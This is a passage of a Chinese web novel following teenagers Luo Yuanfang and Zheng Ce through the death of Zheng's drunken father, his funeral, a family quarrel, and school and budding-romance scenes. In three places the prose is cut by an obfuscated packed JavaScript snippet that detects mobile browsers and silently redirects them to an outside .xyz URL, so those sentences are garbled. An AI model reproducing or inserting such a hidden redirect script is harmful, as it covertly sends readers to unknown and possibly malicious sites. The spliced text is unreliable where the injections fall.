骆远方正要答话,他的斗殴对象拍了拍身上的草屑,将教案“啪”地一声放在讲台上,一脸正经道: “我们开始上课啊,今天接着讲昨天的内容。” 吴雨看了眼骆远方这边,若无其事地转过身在黑板上写板书道: “有的人好奇心不要太重,多琢磨琢磨我待会儿要提什么问题啊,安城北。” 安城北八卦也没吃到,还被列为了重点监督对象,他撇撇嘴。 “哦。” 兜里的手机震了下,郑策连忙拿出来调静音,却看见那个农民发了条信息过来: 【别害怕,没什么事。】 切,她怕什么。 她盯着消息沉默了片刻,发了个OK的表情。 顺便退出去,在□□空间里把骆远方的菜偷了。然后又给骆淇的□□,名为往事随风的快乐女孩的账号点了几个赞。 那是前阵子骆淇出去拍的照片,一股脑把□□相册当成网盘传了上去。 都见血了,还没什么事。 骆远方是不是把他们都当傻子。 聪明人骆远方又发来一条消息: 【晚饭骆淇让我们自己解决,我请客。】 放屁优雅女子高傲回复:【OK】 一整天郑策都不想和骆远方说话。 自己几乎什么都没保留,这家伙还有小秘密了都。 考完试,她也是背上书包沉着脸就站在座位边等骆远方,丝毫没有觉得不妥。 直到林歌小心地试探:“郑策你们一起走啊?” 郑策瞬间没找到合适的理由搪塞过去,噎了噎。 安城北这时候反应很快,立马道: “对,还有我。我妈让我叫他们一起吃饭。” “……对。”郑策叹了口气道。 没想到还有被这二傻子解围的一天。 林歌走后,安城北谨慎地看了两人一眼,“你们怎么了?” “没怎么,吃饭么?” 骆远方也背上包站起来,“我请客,愚记牛肉饼,猪蹄花和豆花饭。” “全是碳水,我减肥啊。”安城北听后颤抖着摇摇头。 “你和吴雨……” “私事。”骆远方说,“他打不过我,放心。” “这是打不过你的问题嘛……” 安城北见他不愿意说,背上书包也嘟囔着不是很开心地走了。 餐馆里,骆乘光和江蔚云迟迟没来,骆远方就和郑策就相对无言地坐着。中途老板上菜,差点被这诡异地气氛给绊一个踉跄。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241699|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们来玩老虎棒棒□□。”骆远方从筷笼里抽出一双筷子,递给郑策一根。 郑策没接,看着他,“不会。” 骆远方深吸一口气,把筷子放回去又道,“那我们玩打手背。” 郑策还是看着他。 这是不把事情问清楚不罢休的架势。 就在骆远方心理防线快决堤的时候,门口传来骆乘光和江蔚云曙光般的声音。 江蔚云朗声背诵:“今天的阳光灿烂灿烂,我们的学校破烂破烂,一百个学生,九十九个笨蛋,还有一个杀人犯,老师老师别生气,校长夸我们有眼力,抽烟喝酒打麻将,男女厕所随便进。” “我也会。” 骆乘光不服输道:“小燕子飞飞,五阿哥追,尔康骑马带紫薇,不要脸的皇上追香妃,香妃变成了蝴蝶飞。” …… 来个人把这两傻子拖出去。 “哥。” 骆乘光一眼就看见了他哥,朝着他们喊,“老师可能又要找你,说我翘课跳舞的事。” 他快速坐在骆远方旁边补充道,“但我没影响成绩……就是有人想学我,影响到成绩了。” “傻逼。” 骆远方白他一眼,“那我晚点转给老师一条少生气对肝脏不好的推送,让她消消气。” “你这微信工作号搁这儿对付老师呢?” 郑策想起他的微信名和那一片稻田,十分成熟稳重的头像,没忍住问。 难怪了。 “这样显得家长味儿足。” 骆远方笑着说,把菜往中间推了点,“快吃吧。” “为什么今天在外面吃?”江蔚云瞪着大眼睛问。 “因为爸爸不买米,饿死你,妈妈不买菜,喝稀饭,稀饭里面有个虫,看你以后怂不怂。” 骆乘光再胜一筹。 江蔚云不服气了,憋顺口溜憋得头晕脑胀。 一顿饭下来,两个人暗自较劲谁先想起更多的顺口溜,竟也吃得难得的安静。 回去后江蔚云从箱子里摸出个石敢当小玩偶,放在卫生间和厨房共用的那扇墙壁旁,郑策问她干什么。 她支支吾吾说今天晚饭看骆远方和她好像闹矛盾了,据说这样能避免吵架。 郑策顿时脸上有些烧。 自己这些小心思竟都被江蔚云看出来了。 那骆远方就不能屈尊解释一下么! 她以为他们之间的关系会更近一点来着。 把江蔚云洗漱干净,她们就缩在卧室里玩,没再出去。 然后听见了敲门声。 很大力,毫不客气。 很久没听到这样的声音了。 郑策猛地从床上坐起来,惊恐地和江蔚云对视。 是郑案。 “别动手!” 骆远方一开门就撞见郑案依旧一身酒气,郑案先发制人道。 他红着脸指骆远方。 “老子找好房子了,今晚最后住一晚,明天就搬走!以为老子稀罕你们,我一个人生活,没你们这些拖油瓶该有多幸福!” “你最好是。” 骆远方沉声看着他,仍旧不放松警惕。 也没想到他再回来是这样的原因。 骆远方见过温柔体贴买糖回来的郑案,见过意气风发说赚大钱了的郑案。 见过郑案投机取巧,因为一些蝇头小利而开心一整天,也见过他投资失败浑身酒气颓丧的样子。 今天的郑案虽说依旧是落败模样,但骆远方似乎看见了他眼中的绝望。 像熄灭的蜡烛,纤细灰烟消散殆尽,蜡油融化又凝结成不规则一滩硬物。 唯独没了再次燃烧的烛心。 他退后两步,给郑案让路。 不知什么原因,他想相信这个满口谎话的男人一次。 不是为了赶他走,而是怜悯。 “我去洗个澡。”郑案看了他一眼,直直走进去。 “不然又被你们嫌弃。” “你说话算话。”骆远方对他背影喊。 回应他的是关门的重响。 骆远方把在一旁凝神戒备的骆乘光赶回宿舍,看了眼郑策她们的房门,沉默地坐回沙发上。 长长叹出一口气。 把郑案揍了那天,他就想过再次见面会是怎样的剑拔弩张,或是相对无言。 没想到郑案竟然主动退了一步。 他不祈求郑案尽到父母子女的责任,也没想到这个耍了半辈子赖的人,能忽然间放过他们。 一时间,心里风起云涌。 他想起了很多往事。 郑案当初抛弃一切跟随妈妈回她的老家,但之后不久奶奶就去世了。 据说郑案都没来得及回去见上最后一面。 他不懂郑案没办法回到自己主场重新创业的痛苦,也不懂妈妈当年自杀的纠结。 在妈妈眼里,她似乎一直在收留没能力没本事的郑案,把这当成一件善事。 而当被收留的人超出掌控范围后,她受不了了。 在骆远方亲手将自己父亲送进监狱时,她彻底崩溃了。 骆远方不明白她既然从不依靠这个男人,从来看不起他,为何又要流露出这样深情的一面。 这样廉价又虚伪的感情,让他作呕。 这些察言观色的能力是骆远方从小养成的。 今天他再次用在了自己父亲身上,而这次只看见了余温散尽的灰烬。 “哐当”几声瓶罐落地的脆响,从浴室传来。 声音在狭小的浴室里被不断扩大成死亡最后的号角。 骆远方听见浴室门里传来一声急促的抽气,短而深,像是最后的求救。 接着响起更大动静的巨响。 魔鬼趁着黑夜潜入,乌鸦的羽翼遮住昏暗灯光,绝望的狼人在黑森林对月哀嚎。 终于,一片乌云,遮住了月亮。 骆远方跌跌撞撞冲进浴室的时候,只觉浑身血液倒流。 所有猜测和臆想在看见满地猩红后,彻底凝结。 他呆滞一瞬,嘶声大喊: “爸!” 38. 把郑策抱紧在怀里 郑策从卧室出来的时候,只一眼便看见了大开着的浴室门,瓷白墙壁上反射血红色的光。 她反手就把要跟出来的江蔚云给挡在卧室里。 “呆在里面别出来。” 酒后洗澡,血管扩张,血压急遽降低造成的猝死。 满地污血可能是郑案最后对这个操蛋世界的反抗。 浴室狭小,他在倒下的刹那碰倒了洗漱台上的玻璃瓶。 碎片炸裂的瞬间,一整个成年男人的重量死死压上,不规则的三角碎片刺入皮肉。 鲜血喷涌。 像他这辈子最后的怒吼。静默而无用。 那个傍晚,春末夏初和煦微风明明最为动人,吹在身上却感受不到一丝暖意,微凉的温度又不能蒸发掉身上覆盖的薄汗。 有些恼人。 郑策甚至不能感受到风的存在。 眼前画面像复古电影,套上暗黄灰败的滤镜,一帧一帧地卡顿着闪过。 骆乘光脚上穿错方向的拖鞋。 骆远方手里带血的通知单在颤抖。 深夜医院走廊来来去去的脚。 骆淇毫无实质的眼神,瞪大眼睛看着手术室灯灭后缓缓吐出的一口气…… 所有画面都没有声音,也没有气味。 虽然这不是她第一次经历死亡,但在确切发生时,仍和之前一样,像哑剧循环播放。 不能闭上眼,生命它强迫你记住每个斑驳色块。 葬礼进行得很简单,郑案几乎没有亲戚朋友在这边。那些和他做非.法.交易的人自然人走茶凉,鸟兽散。 反而来了些骆家这边的亲戚,对这个一辈子都在叫嚣着会出人头地,又走上歪路,进了监狱,最后死状如此滑稽的人,展示最后一次瞻仰。 没有人守着灵柩,他们都坐在殡仪馆外面的台阶上。 这里阳光很好。 来的人如果愿意,可以进去走上一圈,瞻仰遗体。 李年拍了拍骆远方肩膀,坐在他旁边,叹了口气,“节哀。” 骆远方今天已经被无数次这样安慰过,也礼貌性地回拍了拍搭在自己肩上的那只手。 李年吸了一口烟,夹在指尖,嘴里吞云吐雾。 “外婆那栋房子以后就给你了,我一分不要,在这之前照顾好她。别再像他一样,净做些让人伤心的事。” 见骆远方没反应,他又吐出一口烟,“他给你留了多少?” 骆远方哂笑一声。 骆淇的声音不客气在两人头顶响起,“全是债务,你要多少,分给你。” “妈你什么意思呢。” 李年皱眉望着她,“我这儿关心关心自己外甥,在你那儿我就是这么个人嘛?” “你两个外甥都用不着你操心。” 骆淇眯着眼睛看他,“别忘了你还有个老母亲就行。” “放心,以后你走了,那套房子我分毫都不要,我已经给远方说过了。” 李年说,“我现在照顾你,完全是出于我们的亲情。” 骆淇沉默地笑了。 可笑。 亲情,他们家最不缺的就是这种可笑的亲情。 本意是无奈的笑,落在李年眼里却变了味儿。 他一脚不耐烦地把烟蒂捻灭,“妈,我姐结婚的时候你们送了多少嫁妆出去,我结婚后,向你们借钱买房子,你们答应了吗?” 骆淇一怔,“那时候你姐夫亏了钱,所有钱都在他那边应急。” “姐夫。” 李年笑道,吐出这两个字像是在念什么笑话。 “你心疼姐姐,把她嫁给这样的人又有什么意义?我媳妇哪点对你不好,又是冷眼,又是阴阳怪气。我就不懂了,非得活成个窝囊废才能得到你们一点关心吗!” 李年越说越激动,骆淇心也沉了下去。 她的大女儿心思敏感,追求浪漫,眼瞎遇上郑案这么个说漂亮话的,猪油糊了心。 他们老两口一直想着能照护着就照护着,才让女儿一家回老家发展。 没想到最后发展成这种样子。 小儿子一辈子碌碌无为也就罢了,偏心思生歪了,对家里人看不上,对外面的人又曲意逢迎。 一直记着不能重男轻女,糙养儿子,却养得越来越远了。 说到底都是她教子无方。 她那个儿媳也跟这儿子是一路货色,见人说人话,见鬼说鬼话,自私至极,面对家里人也从来戴着一副面具, 虽说自己大女儿活得太惨,但终究是生而热烈,为人坦荡。 “我没养好你们。” 骆淇重重叹了口气,“只要我还能动,就能自己做饭吃。只要我还有一口气,爬,我也能爬去医院。不会麻烦你们。” 骆淇双手克制着颤抖道:“你也不用假惺惺把所有事都推到远方他们身上。我这辈子反正活够了,自生自灭,也是我乐意。” 这是郑策第一回见李年,从他刚开始翻旧账,倒苦水时,已经开始反感这个人了。 她不知道一个儿子把赡养母亲的责任推给外甥是什么想法,就算刚才抱怨的那些是真的,又何至于判下死罪。 骆远方本不应当承担这些的。 她担忧地看向骆淇。 骆淇平时是多么高傲自由的老太太,此时竟也被气得说了胡话。 讨厌一些秋后算账的人,事情都过去了,还拿出来掰扯,说明这小心眼儿一直记得呢。 郑策看不过去,但又不敢帮腔。 毕竟这算他们家的家事。 但好在,有边界感模糊得几乎不存在的人。 “你让我们奶奶伤心了,还在这里干什么?” 周全的声音在背后厉喝着传来。 他每次出门,必然和褚铭带着一帮兄弟。 这回最边上还跟着个安城北。同为体训生,十分融洽地加入了他们。 见这架势,李年瞪了他一眼,识相地走了。 走之前还意味深长拍了拍骆远方肩膀。 “心酸不,养了这样的儿子。”骆远方苦笑着看骆淇。 “本来也没指望能出人头地,不伤天害理就行了。” 骆淇释然地瞪他,“各人有各人的活法,他也不只是我的儿子。” “你儿子把你交给我养,以后不能再说刚才那样的话。” 骆远方将骆淇抱在怀里,语气里带上些撒娇的意味。 人老了就会缩小,他发现小时候需要抬高手才能牵着的人竟然如此脆弱,仿佛一用力就会捏碎。 骆淇在他怀里轻声喃喃道:“不说了,不会再说了。” 几年前郑案入狱,女儿自杀,骆淇忽然间就患上了耳鸣。 不间断的耳鸣固然可怕,但几年的时间足够让人适应。 她也在逐步适应这个社会,同时教会两个孙子学会适应没有她的生活。 “就是,骆远方不管你,我们哥几个也不会不管的。” 周全拍着胸脯保证。 “我也管我也管!”安城北笑嘻嘻站在旁边,匆忙举手。 “这么潇洒的老太太,我早就想要一个了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259200|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “奶奶是我的!” 江蔚云抱住她不放,瞪着大眼睛嘟着嘴,向所有人示威。 骆淇领了这群小辈的心意,“好好好,我老来俏,一个个都争着要我。” 她回去后把从外地带回来的老太太形状搪瓷摆件全送给了这群小孩,说以后要是想她了,就看看这个小老太太,是一样的。 小镇里的消息总是最灵通,没一会儿欧阳长乐就发了信息过来问郑策的情况。 她担心骆家出了这档子事,郑策在他们家住不下去。 郑策说自己没什么事,让她放心。她又顺嘴提了句五一节不回来了,郑策心里正乱,没注意到欧阳语气的吞吞吐吐,没再多想。 回家后,骆淇说想再看一遍千与千寻,还有哈尔的移动城堡,几个人就陪着她,挤在客厅的沙发上。 她虽然嘴里说着没事,但精神总是有些恍惚,好几次起身倒水都差点撞上橱柜。 还好上次之后,骆远方就在家里硬物的边角上裹了一层软垫。 骆淇对此表示,免不得是要伤心的。 毕竟在她眼里,不论是郑案还是李年,小的时候都曾经是不谙世事的好孩子。 她是看着他们长大的啊。 电视背后的窗帘没关,越过去能看见背后的夕阳。 郑策说,自己一向很喜欢夕阳,夕阳总是温柔的,像兑了橘子汁,有甜甜的,浓厚的暖。 小时候,周围的成年人都管她叫小大人,所以她才会喜欢夕阳这么沉闷的东西吧。 是一天的收官,暖意最后一次汇聚,越来越浓,越来越暗,那么靡丽又热情,不像世人的感情,都是淡淡的。 夕阳终于能给疲惫画上短暂的句话。 “我讨厌夕阳。” 骆远方忽然说。 电视里刚放到白龙出现,沙发上另外三个人已经睡得昏天黑地。 昨晚到现在,太累了。 骆远方目光聚焦在远处,说:“夕阳之后,整个世界都会暗下去。” 他不喜欢这样的感受。 “但屋里的灯会打开,比白天更亮。”郑策并不反驳他。 骆远方仰靠在沙发上,侧过头去看郑策,若真若假道。 “是么。” 郑策和他并排坐着,也转过来看着他笑。腿上还躺着江蔚云进入梦乡的小脑袋。 夕阳的光只照进来一方,留恋在她脸上,将颊侧头发染成了栗棕色。 像一束圣光,柔和而不容置疑地照亮空旷展厅的艺术品,灵动而不失清冽的一张脸。 骆远方像是处在逐渐消逝在黑洞里,唯有她还笑着向自己。 郑策说:“还差多少没还完,我这儿还有点积蓄,你先拿去。” 骆远方的手指蜷曲了下,像是受惊的蝴蝶,轻而快速地扇动一下翅膀。 他们的手搭在沙发上,离得很近,能够感受到彼此手背上微小绒毛的颤动。 骆远方心里一动,坐起来,慢慢倾身过去,眼睛始终没离开过郑策。 然后张开双臂,把郑策抱紧在怀里。 郑策欣然接受这个索抱。 骆远方也如夕阳,留恋地在郑策颈窝深吸了一口气。 “谢谢你,一切都结束了。” “嗯,一切都结束了。” 浮空里又传来钟响,比以往每一次都要清晰。 沉睡的梦该醒了。 错落会弥补。 高铁会开通。 他们会走出去。 心意被感知。 日子会继续。 39. 谈过恋爱么? 江蔚云虽然闭着眼睛假寐,但还是能感受到眼前一黑。 再睁眼,眼前多了模模糊糊一个影子。 她伸出食指戳了戳。 熟悉的触感。 腹肌? 嘿嘿。 骆远方这回真成手动的了,做贼心虚般一弹,惊恐的阵仗把在座所有人都诈尸了,从沙发上长起来。 江蔚云更是吓得不清,像个小鱼在郑策怀里挣扎了两下,直接滚下沙发。 然后“嘭”的一声,磕上了茶几角。 江蔚云虽然不至于被养成小公主,但脚踝上被剐蹭一块儿皮,还是能让泪水在眼睛里委屈打转好几个回合。 见她哭得梨花带雨,骆远方忙不迭抱起来,轻轻拍着背,一晃一晃地哄小孩儿。 “对不起对不起对不起……” 他一直担心的是骆淇撞上橱柜的边角,忽视了家里还有个海拔几乎算盆地的小孩。 下回得重新再把茶几边角也给包好。 “哎呀撞上穷骨头了,这下可疼。” 骆淇刚睡醒,一时有些迷糊,只能干瞪眼做场外解说。 郑策强压着恶心冲回卧室。 “我去拿创可贴。” 可这几天过得太潇洒,没来得及收拾卧室。 即使被别人吐槽过无数次像猪圈,但在郑策眼中还算乱中有序的房间,此时也成了垃圾堆。 江蔚云一直知道郑策有囤积各种东西的习惯,早早立了一条规矩,不能在她书桌上乱堆。 房间里此时,几乎就那一小块儿地方能不让密集恐惧症发作。 越慌越找不到。 最后还是骆乘光在他们卧室翻出来的碘伏和棉签。 “抱歉啊,下回我收拾收拾。” 郑策忍着干呕坐回去,额角上又憋出一层汗。 “得了吧你,上回就说要收拾……” 骆淇一抬眼就看见郑策皱眉,嘴唇泛白,将将忍住干呕。 她也惊出一身冷汗。 “你怀孕了?” 骆乘光:??? 江蔚云:!!! 骆远方:…… 这可是个爆炸天雷无敌霸王级的假消息。 客厅里的混乱此时奇妙地化归有序。 “她晕血。” 骆远方在郑策背上捋了捋气,对自己外婆的脑回路很是惊讶。 然后骆乘光和骆淇奇怪地松了一口气,还诡异地瞅了他两眼。 ??? 请某些人把乱瞟的眼神收回去好吗? 其实郑策晕血不是天生的。 起码在去年之前,她不晕。 从亲眼见到爸妈倒在煤气弥漫的房间里,旁边横躺着的姐姐口吐白沫,三个人身下浸满了乌黑的鲜血后,她再不能正视这东西了。 那是她第一次知道,大量的血液不是鲜红色的,像渗入了浓墨成乌紫色,又粘稠。 像变质的鸡蛋清。 爸妈的手腕上裂开好大一条口子。 这让郑策想起菜市场猪肉铺案板上的肉,被砍刀轻而易举划拉开,嫩肉外翻。 那一瞬,灵魂腐朽,思想堕落,只剩下了无生机的肉体凡胎。和牲畜无异。 自那以后,但凡是从皮肉里流出的鲜血,郑策皆不能直视。 但庆幸的是,能忍受例假那抹红,让她不至于太过难堪。 “哎哟,吓死个人。” 骆淇说,“人呐,有时候娇气的很,随便一张薄纸就能划道口子,但其实又很顽强,我们小时候吃了那么多发芽的土豆,发霉的红薯,照样活到头发变白。” “发芽的土豆和发霉的任何东西都不能吃哦。” 骆远方适时教育江蔚云,怕她被这老太太带歪了。 “啧。” 骆淇不满地从他怀里把黛玉云朵儿接过来,骆乘光又跟着挪过来给她脚上消毒。 骆淇问郑策:“你那屋里的东西我怎么感觉比刚来的时候还多了?” 江蔚云被呵护得越发娇气,抱紧骆淇的脖子,在她耳边小声嘟囔: “因为她舍不得扔。” 丢东西其实挺难的,能用到放弃这个词的,都不是轻易能放弃的。 郑策状似不在意地笑笑,拿了个抱枕放在怀里。 “我老是觉得这东西能更更更更尽其用,或者觉得凑活凑活还能将就,有时候又想着留个纪念吧,或许现在丢掉还不是时候……就这么一拖再拖,一件也没丢过。” 便宜但是不喜欢味道的护手霜,银针已经扭曲的耳钉,买东西用的一次性塑料袋,羽绒服吊牌上挂的那一小坨羽绒和纽扣,偶尔狠心买昂贵的零食,剩下的铁质饼干盒…… 每个东西都有着这样或者那样的理由被她留下,渐渐的就习惯了拥挤的生活。 比起空荡荡的房间,这样的居住环境更能让她有安全感。好像这些旧物是永远属于她的,她有绝对掌控权。 “我断舍离可厉害。” 骆淇半开玩笑道,“下回帮你丢,能丢一大半。” “是嘛。”郑策笑笑不置可否。 * “这一半可值钱喽。” 教室后排,安城北靠在墙边看骆远方用墨水在裂开的墙缝上画出一枝蓬勃生长的腊梅剪影。 让人忍不住回头去看,是哪里的花,映照的影子如此娇艳。 裂缝上面是教室后方的黑板报,这次的主题是回顾,骆远方起了个大早,画上一大片金色夕阳。 只是单纯觉得下面的裂缝太丑,才优化了下。 郑策刚进教室,就被黑板上绚烂的云霞给吸引了注意。 像是火烧云,用饱和度最高的颜色点缀在落日熔金上,狭小的板绘给画出了深远壮阔的错觉。 骆远方立于明丽的云霞前,手上沾满粉笔灰,显得指节分明愈发苍白,带着艺术的病态。 还真是文艺委员呐。 她笑了笑。 骆远方看过来,对着郑策勾了勾唇。 “刚好等你来,帮我写个字。” 安城北如临大敌,“你确定?” 就差把“这家伙会毁了你”写脸上。 郑策本来不想写,见着安城北的样子,偏就不蒸馒头争口气。 “写什么?” “随便。” 骆远方笑得很优雅,半靠在桌边,两手拍了拍粉笔灰,刚好休息一下。 “就写在左下角那儿。” 虽然心里明显感觉被玩儿了,但郑策还是落笔如有神地写下一串不明符号。 她拍拍手,哼笑一声,“落霞与孤鹜齐飞,秋水共长天一色。” 安城北便秘的表情僵在脸上,又看向骆远方。 我就说了会毁掉的吧。 “可以,还不错。” 骆远方接过粉笔,也在郑策写字的地方继续涂画。 “想画个爱因斯坦蓬乱的头发,我自己绝对没有你写的乱,浑然天成,以假乱真。” 他退两步,满意地再看,那排字已经被一些更草书的线条给包裹,下面多了一张吐舌头的老头脸。 郑策本还以为得到了表扬,脸上表情来了个三百六十度天翻地覆。 她沉着脸:不嘻嘻。 “我也要画我也要画。” 安城北见这玩意儿都能上桌,那他还有什么可怯的。 “不行。” 但是骆远方冰冷回绝。 “啊你搞特殊待遇。” 安城北不服气,“信不信我画个圈圈诅咒你。” “我不信。”骆远方开始收材料。 教室的粉笔几乎被这副夕阳耗尽,学委满脸无奈地又跑去仓库拿了两盒回来。 安城北诶嘿一声,“那我就咒你吃饭没有肉,买泡面没有叉,上厕所不带纸!” “你再说一句!”骆远方丢下粉笔就和他打闹成一团。 郑策摇摇头。 小学鸡。 顺便把椅子往前挪了点,防止误伤到自己。 紧接着就听见嘹亮的机器女声由远及近,两个字掷地有声: “开机”。 “咳咳,你们班什么味儿,靠窗的同学把窗户打开!” 熟悉的小蜜蜂扩音器,熟悉的开场词和口头禅。 熟悉的一惊一乍,把所有人都吓一跳,除了骆远方。 因为骆家的交流方式永远是喊山般的沟通,锻炼心肺功能值得拥有。 郑策心头竟生过一丝庆幸。 无论在校外多么难堪和混乱,他们还能坐在这里。 真好。 她的课桌上有一板香芋奶糖,郑策刚坐回座位的时候,林歌就笑着转身朝她眨眨眼。 谢啦,她说。 今天是吴雨持之以恒劝学的第五.六.七.八.九.十……不知多少天。 而在他还没把八千字稿子拿出来的时候,郑策点了点头。 “好,我参赛。” 前两天一边月考一边帮骆远方处理葬礼,郑策就在想人生确实无大事,唯生死而已。 而眼前的考题卷她做也得做,不做也得做,不如坦坦荡荡地学一回。 不当谁的附庸,不做谁的骄傲,只把当下过好,为的是自己。 试着努力学习一点,又没有什么坏处。 她生来性子淡,不愿意参与各种竞争,但机会落到面前,为什么不要。 现在放弃,也许以后并不会后悔,但郑策不想让现在的自己后悔吧。 郑策抱着一摞吴雨给的练习卷回教室,安城北一看别人要努力学习的架势就炸毛,如临大敌,像是要去偷他家祖坟似的。 他惊恐地看着郑策怀里的物理题,“学霸你被骆哥带的,也转□□学习了?” 幸好他成绩不好,不然这样很容易招致无妄之灾。 骆远方停下手头演算的笔,饶有兴趣地看过来。 郑策不知为什么,脸上有些发烫,于是把火力转移。 “学霸天生就爱学习,不努力怎么成学霸?怎么你看不起爱学习的学霸?” 安城北一噎,双手抱拳,敬了敬这位好汉,没再说话。 留下一个落寞的背影,还在坚持自己屹立不倒的学渣人设。 快下课时,骆远方收到一条信息。 是他的伪同桌:【待会儿放学不用等我。】 那个农民:【?】 …… 放屁女子默念太平洋的警察管得宽,发过去: 【我要去六中,欧阳有几本笔记借给了那边的人,我去拿回来看。】 骆远方挑眉看了她一眼,若有所思地点点头。 虽然郑策平日里看着与世无争的仙人模样,但只要下定决心做什么事,往往都会全力以赴。 看来这回是要动真格的了。 学霸要荣耀回归了。 郑策感受到目光,偏头也挑眉看他。抬下巴挑衅。 小姑娘老是挑眉,抬头纹都挤出来了,骆远方笑着在她额头上弹了一下。 然后被老雷抽起来念了一段听力原文。 他念完,坐回座位给郑策发了条消息:【我也去。】 放屁女子:【?】 那个农民:【我想去对手学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295920|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校打探敌情,知己知彼。】 打探敌情就不能其他时候去嘛,像是跟踪她一样。 郑策瞪了他一眼,还没来得及表示不满,那个农民又说: 【我骑了摩托。】 放屁女子从善如流:【好。】 循规蹈矩惯了,郑策一直想再坐一回摩托,风驰电掣一把。 去医院那两次虽然一言难尽,但郑策就是莫名感觉骆远方技术还行。 “想不到你竟然喜欢一些刺激的东西。” 骆远方把黑色全包头盔递给她时,一眼看出郑策的雀跃。 “你不也是么?” 郑策得意地扭扭脖子,差点跳一段新疆舞,长腿一迈就坐上后座。 “来来来,这回没有江蔚云,体验一把风的速度。” “……上回是江蔚云的事嘛。” 骆远方失笑,替她检查了下头盔松紧,也跨坐上去。 “我呢,一直就喜欢一些刺激感官的东西,跑步,滑板,摩托,这些能让我感受到心跳的存在。” 他说着往后看了郑策一眼,“说了你也不明白。” “我明白我明白。” 郑策语重心长地说,“青春期叛逆男孩儿嘛,越不让你干什么,就越喜欢啊——” 摩托忽然加速,她朝后一仰,语调直贯云霄。 骆远方拉住她一只手放在自己腰上。 “抓紧了。” “呜呼——” 郑策很快习惯,在后面开心地喊,“我肯定是被憋久了才喜欢这种东西的!太爽了!” 骆远方立马减速,警告道:“骑车的时候不要招手,特别在市区,要是撞上什么玩意儿,你就成两截了!缩在我背后!” 身后安分下去,骆远方想了想又说:“城里活动不开,下回带你去郊区玩!” “好!” 郑策本想摸一把传说中的腹肌,但怕被当成流氓,生生忍住,只能虚虚扯着骆远方腰上衣服。 郑策你真是君子啊君子。 但是对方并不这么觉得。 “你快把我勒死了。”骆远方无奈地拍了拍她的手。 郑策明显是有些怕的,把骆远方衣服给扯得变了形。从前面看,像是穿着女士的紧身泳衣,着实不雅。 他摸索着去捏郑策的手,一把按在自己腰上。 “摸我吧,我不怕你非礼。” 虽然只摸到腰侧,但确实是硬邦邦的,能感受到紧实质感。 郑策咽了咽喉咙,只觉脸颊有些发烫。 “神经病。”她笑骂道。 明显感觉自己脸颊发烫,只能强装镇定。 六中相较于九中,学生管理上更为宽松,校门口的气氛就能看出来。 各种小摊小贩推着孜然味儿的小车大张旗鼓地流连在小巷子里。全然没有九中门前那些摊贩做贼心虚的劲儿。 竟然还有套圈圈的游戏。 今天老板大出血,在最后排放了个故宫定制书签,做工精致,藻井制式。吸引玩家无数。 下车后郑策欢呼着还要再来一次,并执意给骆远方买了一根烤肠,说是礼尚往来。 骆远方不想要,她非说受不了欠别人的,能还一点是一点。 在骆远方心里,翻译成大白话就是:求你了让我对你好一点,这样我也心安些。 “想要那个书签么?”骆远方吃着烤肠,顺着她的目光看过去。 “还不错,但套不中的。” 郑策耸耸肩,就见骆远方朝那成竹在胸,脸上写着“你们这些瓜娃子肯定套不中”的老板走了过去。 “诶,你干嘛?” “发挥些体训生的特长。” 骆远方朝她眨眨眼,向老板买了十个圈。 第三个就把那书签套中了。 老板的脸瞬间黑云压城城欲摧,骆远方就大方地把剩下七个环还了回去。 “不得不说,他这角度设置很是刁钻,老是会碰到旁边的东西而跑偏。” “那你就更厉害了呗。”郑策说,“第三个就套中了。” “一般吧。” 骆远方说着就把那金属书签塞进郑策包里,瞬间跑开。 颇有些小孩子玩闹摇头晃脑的皮样: “我偏要给你东西,不让你还这个人情,气死你。” 郑策手伸到背后摸了半天也没摸出来,索性放弃。不知道脑子里哪根筋被骆远方偷了,追着骆远方跑了上去。 俗话说常在河边站哪有不湿鞋,妈妈,她也要变傻了! 六中有一条走道沿路种满了七里香,这几天正是花开的季节。 满墙白色花瀑下成双成对,慢悠悠走着很多人,互相咬耳朵说着悄悄话。 郑策跑不过骆远方,撑着膝盖在原地吐气,“行了,我收下了行吧。” 目的达成,骆远方也不想一个人走在前面,向她走去。 主要是老有人在看他,还窃窃私语,指手画脚的,这让他有点烦。 啧。 没见过帅哥嘛。 骆远方故意靠近郑策,伸手去拉她,眉眼上爬满笑意。 “这点体力可不行。” 郑策一把握住他的手,周围躲闪了几个落寞的目光。 她轻笑两声,一脸了然:“借我躲桃花?” 郑策借力拉近他,骆远方能感受到七里香的芬芳裹在一股风里席来。 但他却因为紧张,没闻到一丝香甜。 然后是耳边传来郑策有温度的调笑,呼吸铺在他耳后皮肤。 郑策用气声笑问:“你之前谈过恋爱么?” 40. 骆远方慌了 “没有。” 